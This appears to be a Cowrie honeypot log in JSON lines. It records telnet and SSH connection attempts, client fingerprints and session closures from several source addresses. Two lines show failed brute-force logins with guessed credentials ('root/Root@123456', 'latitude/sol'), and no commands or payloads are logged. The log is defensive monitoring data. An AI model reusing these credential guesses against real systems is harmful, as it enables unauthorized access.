{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":34624,"dst_ip":"10.17.0.5","dst_port":23,"session":"e159fd03cad5","protocol":"telnet","message":"New connection: 212.55.149.117:34624 (10.17.0.5:23) [session: e159fd03cad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:46.772783Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55118,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2a1b2451991","protocol":"telnet","message":"New connection: 128.199.8.54:55118 (159.203.135.109:23) [session: f2a1b2451991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:47.475051Z"}
{"eventid":"cowrie.session.closed","duration":35.0862250328064,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:48.788493Z","src_ip":"128.199.8.54","session":"42187866e8be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56484,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbf6d0abd6fe","protocol":"telnet","message":"New connection: 128.199.8.54:56484 (159.203.135.109:23) [session: fbf6d0abd6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:49.169730Z"}
{"eventid":"cowrie.session.closed","duration":34.42365837097168,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:49.952536Z","src_ip":"128.199.8.54","session":"f10581307da1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33618,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb1e80acb862","protocol":"telnet","message":"New connection: 128.199.8.54:33618 (159.203.135.109:23) [session: bb1e80acb862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:50.777136Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":60508,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9e84cd4116b","protocol":"ssh","message":"New connection: 103.15.226.202:60508 (10.17.0.5:22) [session: a9e84cd4116b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:51.516685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:51.521703Z","src_ip":"103.15.226.202","session":"a9e84cd4116b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:51.772597Z","src_ip":"103.15.226.202","session":"a9e84cd4116b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.71929430961609,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:52.255837Z","src_ip":"128.199.8.54","session":"09bd1fd2f1c9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123456","message":"login attempt [root/Root@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:52.533459Z","src_ip":"103.15.226.202","session":"a9e84cd4116b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:53.786319Z","src_ip":"103.15.226.202","session":"a9e84cd4116b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.363855600357056,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:54.993887Z","src_ip":"128.199.8.54","session":"ae9cd6425d8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.26339149475098,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:56.356930Z","src_ip":"128.199.8.54","session":"4e899f217adf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33684,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f64b5e3a42d","protocol":"telnet","message":"New connection: 128.199.8.54:33684 (159.203.135.109:23) [session: 7f64b5e3a42d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:57.830400Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51320,"dst_ip":"159.203.135.109","dst_port":23,"session":"9773c5d15237","protocol":"telnet","message":"New connection: 128.199.8.54:51320 (159.203.135.109:23) [session: 9773c5d15237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:29:59.515400Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52540,"dst_ip":"159.203.135.109","dst_port":23,"session":"3889ed3d5607","protocol":"telnet","message":"New connection: 128.199.8.54:52540 (159.203.135.109:23) [session: 3889ed3d5607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:00.104337Z"}
{"eventid":"cowrie.session.closed","duration":34.46119284629822,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:21.936110Z","src_ip":"128.199.8.54","session":"f2a1b2451991","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.29530119895935,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:22.464928Z","src_ip":"128.199.8.54","session":"fbf6d0abd6fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":43444,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcc05ab7ba97","protocol":"telnet","message":"New connection: 208.92.193.123:43444 (10.17.0.5:23) [session: dcc05ab7ba97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:23.894730Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44514,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c4ec921b1a9","protocol":"telnet","message":"New connection: 128.199.8.54:44514 (159.203.135.109:23) [session: 2c4ec921b1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:24.842886Z"}
{"eventid":"cowrie.session.closed","duration":34.56355571746826,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:25.340591Z","src_ip":"128.199.8.54","session":"bb1e80acb862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47048,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef637b297bf2","protocol":"telnet","message":"New connection: 128.199.8.54:47048 (159.203.135.109:23) [session: ef637b297bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:26.080556Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47916,"dst_ip":"159.203.135.109","dst_port":23,"session":"64aa790681b1","protocol":"telnet","message":"New connection: 128.199.8.54:47916 (159.203.135.109:23) [session: 64aa790681b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:27.572687Z"}
{"eventid":"cowrie.session.closed","duration":32.172616958618164,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:30.002897Z","src_ip":"128.199.8.54","session":"7f64b5e3a42d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.27318549156189,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:33.788467Z","src_ip":"128.199.8.54","session":"9773c5d15237","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.539459466934204,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:34.643633Z","src_ip":"128.199.8.54","session":"3889ed3d5607","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39886,"dst_ip":"159.203.135.109","dst_port":23,"session":"113a5490ddf1","protocol":"telnet","message":"New connection: 128.199.8.54:39886 (159.203.135.109:23) [session: 113a5490ddf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:36.716905Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49220,"dst_ip":"159.203.135.109","dst_port":23,"session":"a71c693c7dc8","protocol":"telnet","message":"New connection: 128.199.8.54:49220 (159.203.135.109:23) [session: a71c693c7dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:41.285042Z"}
{"eventid":"cowrie.session.closed","duration":119.88895583152771,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:44.005319Z","src_ip":"212.55.149.117","session":"0c30ca3117de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.1048481464386,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:46.877516Z","src_ip":"212.55.149.117","session":"e159fd03cad5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98683500289917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:54.881418Z","src_ip":"208.92.193.123","session":"dcc05ab7ba97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.497729539871216,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:30:59.340478Z","src_ip":"128.199.8.54","session":"2c4ec921b1a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.274033308029175,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:00.354446Z","src_ip":"128.199.8.54","session":"ef637b297bf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10901761054993,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:01.681557Z","src_ip":"128.199.8.54","session":"64aa790681b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":41800,"dst_ip":"159.203.135.109","dst_port":22,"session":"788dd83cbdaf","protocol":"ssh","message":"New connection: 80.94.92.186:41800 (159.203.135.109:22) [session: 788dd83cbdaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:02.371629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:02.682445Z","src_ip":"80.94.92.186","session":"788dd83cbdaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:02.687557Z","src_ip":"80.94.92.186","session":"788dd83cbdaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"latitude","password":"sol","message":"login attempt [latitude/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:04.304726Z","src_ip":"80.94.92.186","session":"788dd83cbdaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:05.624727Z","src_ip":"80.94.92.186","session":"788dd83cbdaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.98540163040161,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:10.702219Z","src_ip":"128.199.8.54","session":"113a5490ddf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.2959463596344,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:14.580858Z","src_ip":"128.199.8.54","session":"a71c693c7dc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38004,"dst_ip":"159.203.135.109","dst_port":23,"session":"27295fbf6090","protocol":"telnet","message":"New connection: 128.199.8.54:38004 (159.203.135.109:23) [session: 27295fbf6090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:16.197809Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51020,"dst_ip":"159.203.135.109","dst_port":23,"session":"03a52035c6d3","protocol":"telnet","message":"New connection: 128.199.8.54:51020 (159.203.135.109:23) [session: 03a52035c6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:22.196891Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42214,"dst_ip":"159.203.135.109","dst_port":23,"session":"365ece4ff39d","protocol":"telnet","message":"New connection: 128.199.8.54:42214 (159.203.135.109:23) [session: 365ece4ff39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:31.044566Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42284,"dst_ip":"159.203.135.109","dst_port":23,"session":"5521b6fc4256","protocol":"telnet","message":"New connection: 128.199.8.54:42284 (159.203.135.109:23) [session: 5521b6fc4256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:34.090062Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56620,"dst_ip":"159.203.135.109","dst_port":23,"session":"a41fd794c49c","protocol":"telnet","message":"New connection: 128.199.8.54:56620 (159.203.135.109:23) [session: a41fd794c49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:39.042841Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36826,"dst_ip":"159.203.135.109","dst_port":23,"session":"2924123c8b94","protocol":"telnet","message":"New connection: 128.199.8.54:36826 (159.203.135.109:23) [session: 2924123c8b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:42.218125Z"}
{"eventid":"cowrie.session.closed","duration":33.358816146850586,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:49.556501Z","src_ip":"128.199.8.54","session":"27295fbf6090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58404,"dst_ip":"159.203.135.109","dst_port":23,"session":"9530db5b7756","protocol":"telnet","message":"New connection: 128.199.8.54:58404 (159.203.135.109:23) [session: 9530db5b7756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:52.536496Z"}
{"eventid":"cowrie.session.closed","duration":34.45614790916443,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:31:56.652867Z","src_ip":"128.199.8.54","session":"03a52035c6d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.11235570907593,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:04.156771Z","src_ip":"128.199.8.54","session":"365ece4ff39d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.979111194610596,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:07.069066Z","src_ip":"128.199.8.54","session":"5521b6fc4256","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39772,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1c19da1949b","protocol":"telnet","message":"New connection: 128.199.8.54:39772 (159.203.135.109:23) [session: c1c19da1949b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:11.082851Z"}
{"eventid":"cowrie.session.closed","duration":34.26709580421448,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:13.309848Z","src_ip":"128.199.8.54","session":"a41fd794c49c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49732,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dae31b15449","protocol":"telnet","message":"New connection: 128.199.8.54:49732 (159.203.135.109:23) [session: 2dae31b15449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:16.099691Z"}
{"eventid":"cowrie.session.closed","duration":34.78951144218445,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:17.007510Z","src_ip":"128.199.8.54","session":"2924123c8b94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.322531938552856,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:26.858894Z","src_ip":"128.199.8.54","session":"9530db5b7756","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46612,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b226dce3565","protocol":"telnet","message":"New connection: 128.199.8.54:46612 (159.203.135.109:23) [session: 4b226dce3565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:28.897091Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57312,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b35cefb40a8","protocol":"telnet","message":"New connection: 128.199.8.54:57312 (159.203.135.109:23) [session: 8b35cefb40a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:34.285793Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":32820,"dst_ip":"159.203.135.109","dst_port":23,"session":"d939a49db0db","protocol":"telnet","message":"New connection: 128.199.8.54:32820 (159.203.135.109:23) [session: d939a49db0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:36.214670Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34008,"dst_ip":"159.203.135.109","dst_port":23,"session":"e883d3c8a378","protocol":"telnet","message":"New connection: 128.199.8.54:34008 (159.203.135.109:23) [session: e883d3c8a378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:36.794516Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41282,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8b9ebf318ae","protocol":"telnet","message":"New connection: 128.199.8.54:41282 (159.203.135.109:23) [session: c8b9ebf318ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:40.496552Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45158,"dst_ip":"159.203.135.109","dst_port":23,"session":"525aa323ea54","protocol":"telnet","message":"New connection: 128.199.8.54:45158 (159.203.135.109:23) [session: 525aa323ea54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:42.388586Z"}
{"eventid":"cowrie.session.closed","duration":34.28696656227112,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:45.369704Z","src_ip":"128.199.8.54","session":"c1c19da1949b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52366,"dst_ip":"159.203.135.109","dst_port":23,"session":"3006adfd3857","protocol":"telnet","message":"New connection: 128.199.8.54:52366 (159.203.135.109:23) [session: 3006adfd3857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:46.103654Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55260,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cb718a3d390","protocol":"telnet","message":"New connection: 128.199.8.54:55260 (159.203.135.109:23) [session: 7cb718a3d390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:47.598082Z"}
{"eventid":"cowrie.session.closed","duration":33.31255316734314,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:32:49.412102Z","src_ip":"128.199.8.54","session":"2dae31b15449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56816625595093,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:04.465132Z","src_ip":"128.199.8.54","session":"4b226dce3565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42122,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d22839598c7","protocol":"telnet","message":"New connection: 128.199.8.54:42122 (159.203.135.109:23) [session: 7d22839598c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:09.076085Z"}
{"eventid":"cowrie.session.closed","duration":35.03483700752258,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:09.320505Z","src_ip":"128.199.8.54","session":"8b35cefb40a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.276718616485596,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:10.491270Z","src_ip":"128.199.8.54","session":"d939a49db0db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.794832706451416,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:10.589226Z","src_ip":"128.199.8.54","session":"e883d3c8a378","protocol":"telnet"}
